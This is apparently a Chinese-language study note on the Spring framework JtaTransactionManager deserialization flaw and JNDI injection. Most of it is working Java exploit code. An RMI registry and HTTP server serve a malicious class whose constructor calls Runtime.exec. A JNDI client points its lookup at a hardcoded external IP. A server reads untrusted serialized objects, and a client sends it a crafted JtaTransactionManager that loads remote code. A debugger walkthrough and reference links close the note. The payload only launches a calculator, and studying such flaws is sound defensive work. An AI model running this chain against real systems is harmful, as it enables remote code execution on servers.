Spring framework 反序列化的漏洞
理解这个漏洞需要先看freebuff上的jdni的小例子。
jndi注入在jdk8u121绕过参考这俩篇文章:
https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
server端代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.net.httpserver.HttpServer;
import javax.naming.Reference;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JndiPoc {
public static void lanuchCodebaseURLServer() throws IOException {
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8009), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
}
public static void lanuchRMIregister(String server_ip) throws Exception {
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(2222);
// 设置code url 这里即为http://127.0.0.1:8000/
// 最终下载恶意类的地址为http://127.0.0.1:8000/ExportObject.class
String evil_ip="http://"+server_ip+":8009/";
Reference reference = new Reference("ExportObject", "ExportObject", evil_ip);
// Reference包装类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
try {
registry.bind("aa", referenceWrapper);
// registry.bind("gsrc_ejbobject",referenceWrapper);
}catch (Exception e){
System.out.println("e.getCause().getCause().getCause().getMessage()");
}
}
public static void main(String[] args) throws Exception {
lanuchCodebaseURLServer();
lanuchRMIregister("127.0.0.1");
}
}
client代码:
import javax.naming.*;
public class Jndi_Client {
public static void main(String[] args) throws Exception {
String uri="rmi://121.195.170.196:2222/aa";
Context ctx=new InitialContext();
ctx.lookup(uri);
}
}
lookup参数uri可控,将uri注入恶意ip的rmi服务,触发实例化恶意类构造方法调用。
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ExportObject{
/*
public static void main(String args[]) throws Exception {
}*/
public ExportObject() throws Exception {
String OS= System.getProperty("os.name").toLowerCase();
String cmd="open /Applications/Calculator.app";
if(OS.indexOf("win")>=0)
{
cmd="calc.exe";
}
//String cmd="open /Applications/Calculator.app";
Runtime.getRuntime().exec(cmd);
}
}
下面具体看Spring framework 反序列化的漏洞
Server端代码:
imort java.io.*;
import java.net.*;
public class ExploitableServer {
public static void main(String[] args) {
try {
//本地监听1234端口
ServerSocket serverSocket = new ServerSocket(1234);
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
//执行接收到类的readObject方法
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
client端:
import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import com.sun.net.httpserver.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
public class ExploitClient {
public static void main(String[] args) {
try {
String serverAddress = "127.0.0.1";
int port = Integer.parseInt("1234");
String localAddress= "127.0.0.1";
System.out.println("Starting HTTP server"); //开启80端口服务
HttpServer httpServer = HttpServer.create(new InetSocketAddress(81), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
System.out.println("Creating RMI Registry"); //绑定RMI服务到 1099端口 Object 提供恶意类的RMI服务
Registry registry = LocateRegistry.createRegistry(1099);
/*
java为了将object对象存储在Naming或者Directory服务下,
提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,
比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,
当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后,
就可以理解jndi注入产生的原因了。
*/ //绑定本地的恶意类到1099端口
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":81"+"/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
System.out.println("Connecting to server "+serverAddress+":"+port); //连接服务器1234端口
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object";
//JtaTransactionManager 反序列化时的readObject方法存在问题 //使得setUserTransactionName可控,远程加载恶意类
//lookup方法会实例化恶意类,导致执行恶意类无参的构造方法
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
//上面就是poc,下面是将object序列化发送给服务器,服务器访问恶意类
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
server与client交互流程:
漏洞触发点:
下断点调试,前面client都是绑定操作,直到执行到43行,将恶意的rmi地址写入:
46行将恶意类发送到Server端,server端执行JtaTransactionManager类的readObject:
跟到616行:
f7跟到173行:
继续f7跟到247行,调用了looup方法:
继续跟进94行,name 传进的值是之前绑定的恶意类的地址,lookup方法会调用恶意类的构造方法。
跟到恶意类构造方法,触发RCE.
参考链接:
https://www.freebuf.com/vuls/115849.html
https://paper.seebug.org/312/